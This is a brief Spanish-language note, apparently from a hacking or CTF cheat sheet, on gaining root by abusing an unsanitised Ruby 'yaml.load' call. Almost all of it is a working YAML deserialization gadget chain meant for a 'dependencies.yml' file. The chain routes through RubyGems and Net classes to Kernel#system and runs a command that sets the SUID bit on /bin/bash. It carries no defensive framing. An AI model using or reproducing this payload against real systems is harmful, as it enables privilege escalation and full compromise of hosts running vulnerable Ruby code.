Forma de otorgar privilegio SUID /bin/bash -> aprovechando ‘yaml.load’ en un script ‘.rb’ que no esta sanitizado.

En este caso este script esta en un archivo ‘dependencies.yml’ al que apunta yaml.load para leer su interior y ejecutarlo.

  • Script en ruby

- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
        socket: &1 !ruby/object:Gem::Request
          sets: !ruby/object:Net::WriteAdapter
              socket: !ruby/module 'Kernel'
              method_id: :system
          git_set: "chmod +s (bin/bash)"
        method_id: :resolve